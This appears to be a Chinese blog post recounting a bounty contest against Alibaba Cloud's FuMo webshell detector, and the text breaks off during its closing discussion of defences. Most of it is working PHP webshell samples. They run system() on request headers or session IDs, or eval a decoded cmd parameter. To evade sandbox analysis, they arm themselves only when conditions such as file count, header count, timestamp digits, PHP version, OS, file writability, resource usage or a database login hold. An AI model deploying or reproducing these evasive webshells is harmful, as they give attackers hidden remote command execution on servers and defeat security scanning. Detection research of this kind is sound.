![\"\"\/](\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\")
<\/div><\/figure>\n\n\n\n
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count(glob(__DIR__ . '\/*'))<\/code> \u53ef\u4ee5\u83b7\u53d6\u5f53\u524d\u7684\u6587\u4ef6\u6570\u91cf\uff0c\u662f\u4e00\u4e2a\u6570\u5b57\uff0c\u5229\u7528 exeec<\/code> \u7684\u66ff\u6362\u529f\u80fd\uff0c\u53ef\u4ee5\u5b9e\u73b0\u5f53\u6570\u5b57\u4e3a3\u662fwebshell\uff0c\u5176\u4ed6\u65f6\u5019\u4e0d\u662fwebshell\u3002$count\u5177\u4f53\u503c\u6765\u81ea\u4e8e\u5f53\u524d\u76ee\u5f55\u7684\u6587\u4ef6\u6570\u91cf\u5bf94\u53d6\u6a21\uff0c\u53ea\u8981\u4e0d\u65ad\u4e0a\u4f20\u6587\u4ef6\u5fc5\u7136\u80fd\u6ee1\u8db3$count\u7684\u503c\u4e3a3\uff0c\u5b9e\u73b0RCE<\/p>\n\n\n\n<?php\n$count = count(glob(__DIR__ . '\/*')) % 4;\nfunction exeec($key)\n{\n $fileurl = 'QGV2YWwoJF9HRVRbJ2NtZC33KTs=';\n $fileurl = strtr($fileurl, $key, 'd');\n $code = base64_decode($fileurl);\n @eval($code);\n}\nexeec($count);<\/code><\/pre>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u5728\u8fd9\u91cc\u6a21\u62df\u5f15\u64ce\u65e0\u8bba\u600e\u4e48\u6267\u884c\u4e5f\u4e0d\u53ef\u80fd\u771f\u7684\u6267\u884c\u5230\u89e6\u53d1 webshell \uff0c\u56e0\u4e3a\u771f\u5b9e\u73af\u5883\u548c\u6c99\u7bb1\u73af\u5883\u5b58\u5728\u5f88\u5927\u7684\u5dee\u5f02\uff0c\u6c99\u7bb1\u73af\u5883\u7684\u6587\u4ef6\u6570\u91cf\u6c38\u8fdc\u662f1\uff0c\u65e0\u8bba\u4ed6\u600e\u4e48\u591a\u6b21\u6267\u884c\uff0c\u600e\u4e48\u5206\u6790 AST\uff0c\u4ed6\u90fd\u53ea\u4f1a\u89c9\u5f97\u8fd9\u662f\u4e00\u4e2a\u5b89\u5168\u7684\u6837\u672c\u3002\u90a3\u4e48\u5bf9\u4e8e\u8fd9\u6837\u7684\u5dee\u5f02\u91cf<\/strong>\uff0c\u4f0f\u9b54\u7684\u515c\u5e95\u4e3a\u4ec0\u4e48\u4e0d\u4f1a\u76f4\u63a5\u62a5\u6bd2\u5462\uff1f\u5f88\u7b80\u5355\uff0c\u56e0\u4e3a\u8fd9\u91cc\u4ed6\u80fd\u5f97\u5230\u5206\u6790\u7ed3\u679c\uff0c\u4ed6\u53ef\u4ee5\u6b63\u786e\u7684\u5206\u6790\uff0c\u6240\u4ee5\u4e0d\u4f1a\u89e6\u53d1\u515c\u5e95\u7b56\u7565\uff0c\u5bf9\u4e8e\u8fd9\u6837\u7684\u91cf\u5c31\u50cf\u6211\u4e4b\u524d\u8bf4\u8fc7\u7684\uff0c\u80af\u5b9a\u4e5f\u662f\u8d70\u7684\u9ed1\u540d\u5355\u7b56\u7565\uff0c\u5b98\u65b9\u60f3\u8981\u4fee\u590d\u4e5f\u53ea\u80fd\u4e0d\u65ad\u7684\u6269\u5145 Source \u70b9\u548c Sink \u70b9<\/p>\n\n\n\n\u5f53\u7136\uff0c\u4e0a\u9762\u7684\u4f8b\u5b50\u53ef\u80fd\u4f1a\u8ba9\u4eba\u89c9\u5f97\u5176\u5b9e\u4f60\u8fd9\u4e2a\u6587\u4ef6\u6570\u91cf\u4e0d\u4e00\u5b9a\u662f\u771f\u7684\u53ef\u63a7\uff0c\u8fd9\u4e1c\u897f\u4e0d\u7b97\u4e00\u4e2a\u771f\u6b63\u7684 webshell\uff0c\u540e\u9762\u6211\u53c8\u627e\u5230\u4e86\u4e00\u4e2a\u5f88\u76f4\u63a5\u4e86\u5f53\u7684\u6709\u8da3\u4f8b\u5b50\uff0c\u90a3\u5c31\u662f\u83b7\u53d6\u8bf7\u6c42\u5934\u7684\u6570\u91cf\uff0c\u5bf9\u4e8e\u6c99\u7bb1\u7684\u6a21\u62df\u73af\u5883\uff0c\u4ed6\u7684\u503c\u80af\u5b9a\u662f\u4e00\u4e2a\u56fa\u5b9a\u7684\uff0c\u800c\u5728\u5b9e\u9645\u8bbf\u95ee\u7684\u8fc7\u7a0b\u4e2d\u4ed6\u662f\u52a8\u6001\u7684\uff0c\u8fd9\u4e2a webshell \u8fd8\u662f\u548c\u4e4b\u524d\u4e00\u6837\uff0c\u53ea\u6709\u5f53key\u4e3a3\u7684\u65f6\u5019\u662f\u6b63\u5e38\u7684webshell\uff0c\u5176\u4ed6\u65f6\u5019\u89e3\u7801\u51fa\u6765\u662f\u4e71\u7801\uff0c\u5f53\u8bf7\u6c42\u5934\u7684\u6570\u91cf\u4e3a3\u5219\u4e3awebshell\uff1a<\/p>\n\n\n\n
<?php\n\n$count = count(getallheaders());\nfunction exeec($key)\n{\n $fileurl = 'QGV2YWwoJF9HRVRbJ2NtZC33KTs=';\n $fileurl = strtr($fileurl, $key, 'd');\n $code = base64_decode($fileurl);\n @eval($code);\n}\nexeec($count);<\/code><\/pre>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u8fd9\u91cc\u8981\u6ce8\u610f\u4e00\u4e2a\u70b9\uff0c\u6211\u4e4b\u524d\u4ee5\u4e3a\u4ed6\u8fd9\u4e2a\u5f52\u7c7b\u662f\u6309\u5dee\u5f02\u91cf<\/strong>\u5f52\u7684\uff0c\u6bd4\u5982\u4e4b\u524dXG\u5c0f\u521a\u5e08\u5085\u7684\u6837\u672c\u88ab\u9a73\u56de\u7684\u7406\u7531\u5c31\u662f OPENSSL_NO_PADDING<\/code> \u672a\u5b9e\u73b0\u800c\u4e0d\u662f\u8fd9\u79cd\u6761\u4ef6\u89e6\u53d1\u7684webshell\uff0c\u4f46\u6211\u8fd9\u6b21\u6253\u7684\u65f6\u5019\u7c7b\u4f3c\u7684\u6837\u672c\u5168\u88ab\u5f52\u7c7b\u6210\u4e00\u79cd\u4e86\uff0c\u4f46\u662f\u5176\u5b9e\u5982\u679c\u4f60\u80fd\u7a33\u5b9a\u89e6\u53d1\u6c99\u7bb1\u73af\u5883\u548c\u771f\u5b9e\u73af\u5883\u7684\u5dee\u5f02\uff0c\u8ba9\u4ed6\u5206\u6790\u4e0d\u51fa\u6765\u6b63\u786e\u7684\u7ed3\u679c\uff0c\u80fd\u6784\u9020\u51fa\u6765\u7684\u6837\u672c\u7c7b\u578b\u6709\u5f88\u591a\uff0c\u6bd4\u5982\u7528 map \u53d6\u503c<\/p>\n\n\n\n\u6211\u8fd9\u4e2a\u6837\u672c\u7684\u7684\u6838\u5fc3\u5c31\u5728\u65f6\u95f4\uff0c\u6211\u53d6\u4e86\u65f6\u95f4\u6233\u7684\u6700\u540e\u4e00\u4f4d\uff0c\u53ea\u6709\u65f6\u95f4\u6233\u4ee5 9 \u7ed3\u5c3e\u7684\u65f6\u5019\u4ed6\u624d\u4f1a\u7528 map \u53d6\u5230\u6b63\u786e\u7684\u5b57\u6bcd e \u62fc\u63a5\u5f62\u6210 webshell \uff0c\u901a\u8fc7\u8fd9\u79cd\u65b9\u5f0f\u7ed5\u8fc7\u68c0\u6d4b\uff08\u6c99\u7bb1\u5185\u90e8\u7684\u65f6\u95f4\u7591\u4f3c\u662f\u9759\u6b62\u4e0d\u662f\u52a8\u6001\u7684\uff0c\u6709\u65f6\u5019\u80fd\u8fc7\uff0c\u6709\u65f6\u5019\u8fc7\u4e0d\u4e86\uff09<\/p>\n\n\n\n
<?php\n$now = date_create_immutable()->getTimestamp();\nvar_dump($now);\n$k = (int)(((string)$now)[9] == '9');\n$map = [\n '0' => 'b',\n '1' => 'e',\n];\n$n = $map[$k];\n$a = \"syst\" . $n . \"m\";\n$b = \"g\" . $n . \"tenv\";\n$a($b('HTTP_USER_AGENT'));<\/code><\/pre>\n\n\n\n<\/div><\/figure>\n\n\n\n
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\u5728\u8fd9\u91cc\u6211\u89c9\u5f97\u4f0f\u9b54\u6700\u5927\u6700\u5927\u7684\u95ee\u9898\uff0c\u5c31\u662f\u6c99\u7bb1\u73af\u5883\u662f\u4e00\u4e2a\u56fa\u5b9a\u7684 PHP7+Linux \u7684\u73af\u5883\uff0c\u5e76\u4e14\u4ece\u6a21\u62df\u6c99\u7bb1\u51fa\u53d1\u7684\u8bdd\uff0c\u8fd9\u4e2a\u95ee\u9898\u4f3c\u4e4e\u6c38\u8fdc\u4e5f\u6ca1\u6cd5\u89e3\u51b3\uff0c\u867d\u7136\u4ed6\u4eec\u81ea\u5df1\u7684\u6587\u7ae0\u91cc\u4e5f\u63d0\u5230\u4e86\u8fd9\u4e2a\u95ee\u9898\uff0c\u4f46\u636e\u6211\u7814\u7a76\uff0c\u8fd9\u4e2a\u95ee\u9898\u4ed6\u4eec\u73b0\u5728\u538b\u6839\u513f\u5c31\u6ca1\u89e3\u51b3<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u9996\u5148\uff0c\u4f0f\u9b54\u6536 PHP \u6837\u672c\u7684\u7248\u672c\u8303\u56f4\u662f PHP 5~7\uff0cPHP 8\u662f\u4e0d\u6536\u7684\uff0c\u800c\u6c99\u7bb1\u73af\u5883\u662f\u56fa\u5b9a\u7684 PHP7+Linux\uff0c\u8fd9\u91cc\u4e00\u4e2a\u81ea\u7136\u800c\u7136\u7684\u60f3\u6cd5\u5c31\u662f\u627e PHP5 \u7684\u6837\u672c\u5457\uff0c\u627e\u4e00\u4e9b PHP5 \u6709\u800c PHP7 \u6ca1\u6709\u7684\u7279\u6027\u5f53\u4f5c\u5dee\u5f02\u91cf\u4e0d\u5c31\u884c\u4e86\uff0c\u786e\u5b9e\u662f\u8fd9\u6837\u7684\uff0c\u6211\u6709\u4e00\u4e2a\u6837\u672c\u4e5f\u662f\u8fd9\u6837\u7684\uff1a<\/p>\n\n\n\n
<?php\nsession_start();\n$arr = [1];\nforeach ($arr as $val) {\n}\n$k = (int)current($arr);\n$map = [\n 0 => \"s\",\n 1 => \"b\"\n];\n$n = $map[$k];\n$a = $n . \"ystem\";\n$b = $n . \"ession_id\";\n$a($b());<\/code><\/pre>\n\n\n\n
PHP5 \u548c PHP7 \u5bf9 foreach<\/code> \u662f\u5426\u5f71\u54cd\u6570\u7ec4\u5185\u90e8\u6307\u9488\u7684\u8bed\u4e49\u4e0d\u540c ,PHP 5 \u5bf9\u4e8eforeach ($arr as $val)<\/code> \u4f1a\u79fb\u52a8\u6570\u7ec4\u7684\u5185\u90e8\u6307\u9488\uff0c\u904d\u5386\u7ed3\u675f\u540e\uff0c\u6307\u9488\u5df2\u7ecf\u88ab\u63a8\u8fdb\u5230\u6570\u7ec4\u672b\u5c3e\u4e4b\u540e\uff0c\u6b64\u65f6\u518d\u8c03\u7528current($arr); <\/code>\u6307\u9488\u4e0d\u5728\u6709\u6548\u5143\u7d20\u4e0a\uff0c\u8fd4\u56de false\uff1bPHP 7 \u91cd\u5199\u4e86 foreach \u7684\u5b9e\u73b0\uff0cforeach \u4f7f\u7528\u81ea\u5df1\u7684\u8fed\u4ee3\u5668\uff0c\u4e0d\u518d\u5f71\u54cd\u539f\u6570\u7ec4\u7684\u5185\u90e8\u6307\u9488\uff0c\u56e0\u6b64\u6307\u9488\u4ecd\u7136\u6307\u5411\u7b2c\u4e00\u4e2a\u5143\u7d20\uff0c\u8fd4\u56de1\uff0c\u901a\u8fc7\u6784\u9020\u6c99\u7bb1\u548c\u771f\u5b9e\u73af\u5883\u7684\u5dee\u5f02\u7ed5\u8fc7\u68c0\u6d4b<\/p>\n\n\n\n\u540e\u6765\u6211\u53d1\u73b0\u4e00\u4e2a\u95ee\u9898\uff0c\u771f\u7684\u9700\u8981\u8fd9\u4e48\u9ebb\u70e6\u5417\uff1f\u4e8e\u662f\u6211\u8bd5\u4e86\u4e00\u4e2a\u975e\u5e38\u96be\u7ef7\u7684\u65b9\u5f0f\uff0c\u6700\u540e\u4e5f\u6210\u529f\u8fc7\u4e86\u68c0\u6d4b\uff1a<\/p>\n\n\n\n
<?php\nsession_start();\n$map = [\n 0 => 's',\n 7 => 'b',\n];\n$n = $map[(PHP_MAJOR_VERSION == 7) * 7];\n($n . \"ystem\")(($n . \"ession_id\")());<\/code><\/pre>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u53ea\u8981\u6c99\u7bb1\u8fd8\u662f\u50cf\u73b0\u5728\u4e00\u6837\u56fa\u5b9a\u4e3a\u67d0\u4e2a\u786e\u5b9a\u7684 PHP \u7248\u672c\uff0c\u80fd\u6784\u9020\u5dee\u5f02\u7684\u65b9\u5f0f\u771f\u7684\u662f\u60f3\u6c34\u591a\u5c11\u5c31\u6c34\u591a\u5c11\uff0c\u9664\u4e86\u627e\u5927\u7248\u672c\u53f7\u8fd8\u80fd\u627e\u5c0f\u7248\u672c\u53f7\uff0c\u9664\u4e86\u89e3\u6790\u7279\u6027\u8fd8\u80fd\u76f4\u63a5\u53bb\u627e\u4e00\u4e9b\u7279\u5b9a\u7248\u672c\u7684\u65b9\u6cd5\uff0c\u8bb8\u591a\u65b9\u6cd5\u9ad8\u7248\u672c\u6709\u4f4e\u7248\u672c\u6ca1\u6709\uff0c\u6216\u8005\u9ad8\u7248\u672c\u548c\u4f4e\u7248\u672c\u6267\u884c\u7ed3\u679c\u4e0d\u4e00\u6837\uff0c\u7f16\u7a0b\u8bed\u8a00\u7684\u6267\u884c\u592a\u52a8\u6001\u4e86\uff0c\u5982\u679c\u53ea\u662f\u4e00\u4e2a\u56fa\u5b9a\u7684\u6c99\u7bb1\u73af\u5883\uff0c\u901a\u8fc7\u7f16\u7a0b\u8bed\u8a00\u672c\u8eab\u6784\u9020\u5dee\u5f02\u7684\u65b9\u5f0f\u5b9e\u5728\u662f\u6570\u4e0d\u80dc\u6570<\/p>\n\n\n\n
\u4ece\u6c99\u7bb1\u56fa\u5b9a\u4e3a PHP7 \u5165\u624b\u6c34\u4e86\u4e00\u4e9b\u6837\u672c\u4e4b\u540e\uff0c\u6211\u5728\u60f3\u80fd\u4e0d\u80fd\u4ece\u6c99\u7bb1\u56fa\u5b9a\u4e3a Linux \u5165\u624b\u6c34\u4e00\u4e9b\uff0c\u968f\u4fbf\u8bd5\u4e86\u4e00\u4e0b\u679c\u7136\u4e5f\u6709\u8fd9\u4e2a\u95ee\u9898\uff1a<\/p>\n\n\n\n
<?php\n$k = (int)(PHP_OS_FAMILY === 'Windows');\n$map = [\n '0' => 'b',\n '1' => 'e',\n];\n$n = $map[$k];\n$a = \"syst\" . $n . \"m\";\n$b = \"g\" . $n . \"tenv\";\n$a($b('HTTP_USER_AGENT'));<\/code><\/pre>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u8fd8\u6709\u4e00\u4e2a\u95ee\u9898\u5c31\u662f\u6c99\u7bb1\u4e2d\u5176\u5b9e\u4e0d\u5b58\u5728\u4e00\u4e9b\u771f\u5b9e\u4e16\u754c\u6709\u7684\u6587\u4ef6\/\u76ee\u5f55\uff0c\u4ed6\u5185\u90e8\u5c31\u662f\u4e00\u4e2a\u6a21\u62df\u51fa\u6765\u7684\u73af\u5883\uff0c\u6bd4\u5982\u771f\u5b9e\u7684 PHP \u5e94\u7528\u91cc\u90fd\u6709 index.php\uff0c\u800c\u6c99\u7bb1\u91cc\u6ca1\u6709\uff0c\u6240\u4ee5\u53ef\u4ee5\u901a\u8fc7\u8fd9\u4e2a\u4e1c\u897f\u6765\u6784\u9020\u5dee\u5f02\uff0c\u65e0\u8bba\u662f\u5224\u65ad\u6587\u4ef6\u6216\u76ee\u5f55\u7684\u53ef\u8bfb\u6027\/\u53ef\u5199\u6027\/\u662f\u5426\u5b58\u5728\u7b49\u7b49\uff0c\u90fd\u53ef\u4ee5\u7a33\u5b9a\u6784\u9020\u5dee\u5f02<\/p>\n\n\n\n
<?php\nsession_start();\n$k = (int)is_writable('index.php');\n$map = [\n '0' => 'b',\n '1' => 'e',\n];\n$n = $map[$k];\n$a = \"syst\" . $n . \"m\";\n$b = \"g\" . $n . \"tenv\";\n$a($b('HTTP_USER_AGENT'));<\/code><\/pre>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u603b\u800c\u8a00\u4e4b\uff0c\u6c99\u7bb1\u7684\u73af\u5883\u548c\u771f\u5b9e\u73af\u5883\u4e4b\u95f4\u7684\u5dee\u5f02\u5b9e\u5728\u662f\u592a\u591a\u4e86\uff0c\u80fd\u627e\u5230\u7684\u5dee\u5f02\u91cf\u4e5f\u6709\u5f88\u591a<\/p>\n\n\n\n
\u65f6\u95f4<\/h2>\n\n\n\n
\u5176\u5b9e\u65f6\u95f4\u4e5f\u662f\u4e00\u4e2a\u5f88\u597d\u7684\u5dee\u5f02\u91cf\uff0c\u53ea\u8981\u4fdd\u8bc1\u67d0\u4e2a\u7279\u5b9a\u7684\u65f6\u95f4\u624d\u662f webshell\uff0c\u5176\u4ed6\u65f6\u5019\u4e0d\u662f\uff0c\u5c31\u5f88\u53ef\u80fd\u80fd\u7ed5\u8fc7\u6c99\u7bb1\u7684\u68c0\u6d4b\uff0c\u6bd5\u7adf\u6c99\u7bb1\u7684\u73af\u5883\u91cc\u65f6\u95f4\u4e5f\u662f\u7279\u5b9a\u7684\uff0c\u591a\u8bd5\u51e0\u6b21\uff0c\u53ea\u8981\u8fd0\u6c14\u4e0d\u592a\u5dee\u90fd\u80fd\u8fc7\uff0c\u867d\u7136\u4f0f\u9b54\u901a\u8fc7\u515c\u5e95\u7b56\u7565\u628a\u4e00\u4e9b\u83b7\u53d6\u65f6\u95f4\u7684\u65b9\u6cd5\u6807\u6ce8\u4e3a\u4e86\u968f\u673a\u91cf\u9047\u5230\u4e86\u5c31\u76f4\u63a5\u62a5\u6bd2\uff0c\u4f46\u7c7b\u4f3c\u7684\u65b9\u6cd5\u8fd8\u662f\u86ee\u591a\u7684\uff0c\u9664\u4e86\u4e4b\u524d\u4ecb\u7ecd\u7684\u90a3\u4e2a\u5176\u5b9e\u8fd8\u6709\u4e0d\u5c11\uff0c\u4ed4\u7ec6\u627e\u5e94\u8be5\u80fd\u627e\u5f88\u591a\uff0c\u6bd4\u5982\u4e0b\u9762\u7684 hrtime<\/code><\/p>\n\n\n\n<?php\n$now = hrtime();\n$k = (int)(((string)$now[0])[4] == '9');\nvar_dump($k);\n$map = [\n '0' => 'b',\n '1' => 'e',\n];\n$n = $map[$k];\n$a = \"syst\" . $n . \"m\";\n$b = \"g\" . $n . \"tenv\";\n$a($b('HTTP_USER_AGENT'));<\/code><\/pre>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u5185\u5b58\u5927\u5c0f<\/h2>\n\n\n\n
\u6ca1\u60f3\u5230\u5427\uff0c\u5185\u5b58\u5927\u5c0f\u4e5f\u80fd\u5f53\u4f5c\u5dee\u5f02\u91cf\uff0c\u5176\u5b9e\u5185\u5b58\u5927\u5c0f\u8fd9\u4e2a\u4e1c\u897f\u786e\u5b9e\u5f88\u6709\u8ff7\u60d1\u6027\uff0c\u4e00\u822c\u6765\u8bf4\u6c99\u7bb1\u5185\u90e8\u8fd9\u4e2a\u503c\u4e5f\u662f\u4e00\u4e2a\u56fa\u5b9a\u7684\uff0c\u4ed6\u4e5f\u770b\u8d77\u6765\u4e0d\u50cf\u4e00\u4e2a\u968f\u673a\u91cf\uff0c\u4f46\u5b9e\u9645\u4e0a\u53ea\u8981\u6211\u4eec\u4e0d\u65ad\u7684\u8bf7\u6c42\uff0c\u786e\u5b9e\u53ef\u4ee5\u6539\u53d8\u4ed6\u7684\u503c\uff0c\u65e2\u7136\u662f\u6211\u4eec\u53ef\u63a7\u7684\uff0c\u5f53\u7136\u53ef\u4ee5\u901a\u8fc7\u8fd9\u6837\u6784\u9020\u6c99\u7bb1\u548c\u771f\u5b9e\u73af\u5883\u95f4\u7684\u5dee\u5f02\uff0c\u6bd4\u5982\u53ea\u6709\u5185\u5b58\u5927\u4e8e\u67d0\u4e2a\u7279\u5b9a\u503c\u624d\u662f webshell<\/p>\n\n\n\n
<?php\n$now = getrusage();\nvar_dump($now);\n$k = (int)($now['ru_stime.tv_usec'] > '50000');\n$map = [\n '0' => 'b',\n '1' => 'e',\n];\n$n = $map[$k];\n$a = \"syst\" . $n . \"m\";\n$b = \"g\" . $n . \"tenv\";\n$a($b('HTTP_USER_AGENT'));<\/code><\/pre>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u5916\u90e8\u53ef\u63a7\u5e03\u5c14\u6761\u4ef6<\/h2>\n\n\n\n
\u8fd8\u6709\u4e00\u79cd\u5f88\u7b80\u5355\u7684\u6784\u9020\u65b9\u5f0f\uff0c\u5c31\u662f\u6784\u9020\u4e00\u79cd\u5916\u90e8\u53ef\u63a7\u7684\u5e03\u5c14\u6761\u4ef6<\/strong>\uff0c\u6bd4\u5982\u80fd\u5426\u767b\u5f55\u5230\u67d0\u4e2a\u6570\u636e\u5e93\uff1f\u80fd\u5426\u8bbf\u95ee\u5230\u67d0\u4e2a\u7f51\u7ad9\uff1f\u8ba9\u6c99\u7bb1\u68c0\u6d4b\u7684\u65f6\u5019\u5e03\u5c14\u6761\u4ef6\u4e3afalse\uff0c\u5b9e\u9645\u89e6\u53d1 webshell \u65f6\u4e3a true \u5373\u53ef\uff0c\u6bd4\u5982\u6211\u4e0b\u9762\u8fd9\u4e2a\u4f8b\u5b50\uff0c\u80fd\u5ef6\u7533\u51fa\u6765\u7684\u601d\u8def\u5e94\u8be5\u8fd8\u6709\u5f88\u591a\uff1a<\/p>\n\n\n\n<?php\nsession_start();\n$k = (int)mysqli_connect('127.0.0.1', 'root', '123456')->rollback();\n$map = [\n '0' => 'b',\n '1' => 'e',\n];\n$n = $map[$k];\n$a = \"syst\" . $n . \"m\";\n$b = \"g\" . $n . \"tenv\";\n$a($b('HTTP_USER_AGENT'));<\/code><\/pre>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u6587\u4ef6\u540d\u8bc6\u522b\u4e0a\u7684\u7f3a\u9677<\/h1>\n\n\n\n
\u8fd8\u6709\u4e00\u4e2a\u95ee\u9898\uff0c\u5c31\u662f\u4f0f\u9b54\u7f3a\u4e4f\u5bf9\u4e8e\u6587\u4ef6\u540d\u7684\u8bc6\u522b\u80fd\u529b\uff0c\u6c61\u70b9\u4f20\u64ad\u548c\u6a21\u62df\u6267\u884c\u9047\u5230\u6587\u4ef6\u540d\u5c31\u622a\u65ad\u4e86\uff0c\u6bd4\u5982\u6211\u4e0b\u9762\u8fd9\u4e2a\u6837\u672c\u7684\u601d\u8def\u5c31\u662f\u5229\u7528 get_defined_vars<\/code> \u53d6\u5230POST\u8bf7\u6c42\u4e2d\u7684\u503c\uff0c\u7136\u540e\u5229\u7528 file_put_contents<\/code> \u5c06\u5185\u5bb9\u8ffd\u52a0\u5230\u5f53\u524d\u6587\u4ef6\uff0c\u5229\u7528\u8ffd\u52a0\u7684\u4ee3\u7801\u5728\u5f53\u524d\u6587\u4ef6\u5b9e\u73b0RCE\uff0c\u4f46\u662f\u56e0\u4e3a\u4f0f\u9b54\u9047\u5230\u5177\u4f53\u7684\u6587\u4ef6\u540d web5.php \u4f20\u64ad\u5c31\u88ab\u622a\u65ad\u4e86\uff0c\u6240\u4ee5\u5bfc\u81f4\u7ed5\u8fc7\uff1a<\/p>\n\n\n\n<?php\n$vars = call_user_func(\"get_defined_vars\");\nnext($vars);\n$test = current($vars);\n$a = $test['a'];\n$b = $test['b'];\nfile_put_contents('web5.php', $a, FILE_APPEND);<\/code><\/pre>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u4ed4\u7ec6\u60f3\u6765\u8fd9\u4e00\u70b9\u786e\u5b9e\u4e5f\u65e0\u53ef\u539a\u975e\uff0c\u6bd5\u7adf\u9996\u5148\uff0c\u5728 PHP \u91cc\u7528\u7c7b\u4f3c include \u7684\u624b\u6cd5\u5305\u542b\u67d0\u4e2a\u6587\u4ef6\u505a\u5f00\u53d1\u662f\u5f88\u5e38\u89c1\u7684\u4e8b\uff0c\u4f0f\u9b54\u4e5f\u4e0d\u53ef\u80fd\u9047\u5230\u6587\u4ef6\u540d\u5c31\u89e6\u53d1\u515c\u5e95\u62a5\u6bd2\uff0c\u4f46\u662f\u7531\u4e8e\u4f0f\u9b54\u4ece\u5355\u6587\u4ef6\u9759\u6001\u5206\u6790\u7684\u89d2\u5ea6\u53c8\u62ff\u4e0d\u5230\u6587\u4ef6\u540d\u5230\u6587\u4ef6\u5177\u4f53\u5185\u5bb9\u7684\u6620\u5c04\u5173\u7cfb\uff0c\u6240\u4ee5\u6c61\u70b9\u6d41\u7684\u4f20\u64ad\u5c31\u88ab\u622a\u65ad\u4e86\uff0c\u5f88\u597d\u5947\u540e\u9762\u4ed6\u4eec\u600e\u4e48\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\uff0c\u56e0\u4e3a\u4ece\u6587\u4ef6\u540d\u5165\u624b\u80fd\u6c34\u7684\u6837\u672c\u7c7b\u578b\u4e5f\u6709\u5f88\u591a\uff0c\u6bd4\u5982\u62a5\u9519\/\u65e5\u5fd7\u4e4b\u7c7b\u7684\u628a webshell \u5199\u5165\u4e00\u4e2a\u6587\u4ef6\u7136\u540e\u5305\u542b\u8fdb\u6765\uff0c\u73b0\u5728\u4f0f\u9b54\u4e5f\u662f\u68c0\u6d4b\u4e0d\u51fa\u6765\u7684<\/p>\n\n\n\n
\u6bd4\u8d5b\u540e\u7684\u601d\u8003<\/h1>\n\n\n\n
\u529e\u6bd4\u8d5b\u7684\u76ee\u7684\u5411\u6765\u662f\u4ee5\u653b\u4fc3\u9632\uff0c\u5355\u7eaf\u7684\u653b\u51fb\u6216\u8005\u7ed5\u8fc7\u6211\u8ba4\u4e3a\u6ca1\u5565\u610f\u4e49\uff0c\u80fd\u4ece\u653b\u51fb\u4e2d\u6c89\u6dc0\u51fa\u4e00\u5957\u53ef\u6301\u7eed\u7684\u9632\u62a4\u624b\u6bb5\u624d\u662f\u771f\u6b63\u6709\u4ef7\u503c\u7684\u4e8b\uff0c\u6240\u4ee5\u6211\u81ea\u5df1\u4e5f\u4e00\u76f4\u5728\u601d\u8003\uff0c\u5982\u679c\u6211\u662f\u4f0f\u9b54\u7684\u5f00\u53d1\u8005\uff0c\u6211\u5e94\u8be5\u4ece\u4ec0\u4e48\u89d2\u5ea6\u53bb\u9632\u5fa1\u8fd9\u4e9b\u9ed1\u5ba2\u522b\u51fa\u5fc3\u88c1\u7684\u6837\u672c\uff0c\u9996\u5148\u5fc5\u987b\u660e\u786e\uff0c\u963f\u91cc\u4e91\u7684\u4f0f\u9b54\u5728 webshell \u68c0\u6d4b\u4e0a\u80af\u5b9a\u662f\u56fd\u5185\u6700\u9876\u5c16\u7684\uff0c\u6bd5\u7adf\u5176\u4ed6\u7684\u5382\u5546\u5f88\u96be\u50cf\u4ed6\u4eec\u4e00\u6837\u6709\u4fe1\u5fc3\u529e\u8fd9\u6837\u7684\u6bd4\u8d5b\uff0c\u4f60\u6765\u7ed5\u8fc7\u6211\u7684\u68c0\u6d4b\u6211\u7ed9\u4f60\u94b1\uff0c\u4f46\u5373\u4f7f\u662f\u76ee\u524d\u56fd\u5185\u6700\u5148\u8fdb\u7684\u4f0f\u9b54\u5f15\u64ce\u4ece\u672c\u6587\u6765\u770b\u4e5f\u80fd\u770b\u51fa\u5b58\u5728\u5f88\u591a\u7684\u7f3a\u9677\u548c\u4e0d\u8db3<\/p>\n\n\n\n
\u9996\u5148\uff0c\u9632\u62a4\u8fd9\u4e9b\u5dee\u5f02\u91cf\uff0c\u4e00\u4e2a\u76f4\u622a\u4e86\u5f53\u7684\u601d\u8def\u5c31\u662f\u6807\u6ce8\uff0c\u628a\u4ed6\u4eec\u90fd\u5f53\u4f5c Souce \/ Sink\uff0c\u9047\u5230\u5c31\u62a5\u6bd2\uff0c\u4e8b\u5b9e\u4e0a\u5728\u4e4b\u524d\u51e0\u5c4a\u7684\u6bd4\u8d5b\u91cc\uff0c\u4f0f\u9b54\u5df2\u7ecf\u6807\u6ce8\u4e86\u5f88\u591a\u4e1c\u897f\u4e86\uff0c\u6253\u6bd4\u8d5b\u7684\u65f6\u5019\u6211\u4e5f\u770b\u51fa\u6765\u4e86\uff0c\u6bd4\u5982\u5bf9\u4e8e if \u7684\u5206\u652f\u5bf9\u6297\uff0c\u5f88\u591a\u65f6\u5019\u5373\u4f7f\u6076\u610f\u4ee3\u7801\u6c38\u8fdc\u4e0d\u53ef\u80fd\u88ab\u89e6\u53d1\u4e5f\u4f1a\u89e6\u53d1\u515c\u5e95\u62a5\u6bd2\uff0c\u4f46\u5355\u7eaf\u4ece\u515c\u5e95\u7684\u89d2\u5ea6\u9632\u5fa1\u4f3c\u4e4e\u4e5f\u6709\u70b9\u4e0d\u8db3\uff0c\u6bd4\u5982\u5bf9\u4e8e\u4e0b\u9762\u8fd9\u79cd\u6761\u4ef6\u89e6\u53d1\u7684 webshell\uff0c\u901a\u8fc7\u5dee\u5f02\u91cf\u786e\u5b9e\u80fd\u5b9e\u73b0\u65e0\u8bba\u5982\u4f55\u6c99\u7bb1\u90fd\u5206\u6790\u4e0d\u51fa\u6765\uff0c\u8981\u6807\u6ce8\u9664\u4e86\u6807\u6ce8\u5dee\u5f02\u91cf\uff0c\u4f30\u8ba1\u4e5f\u53ea\u80fd\u6807\u6ce8 strtr<\/code> 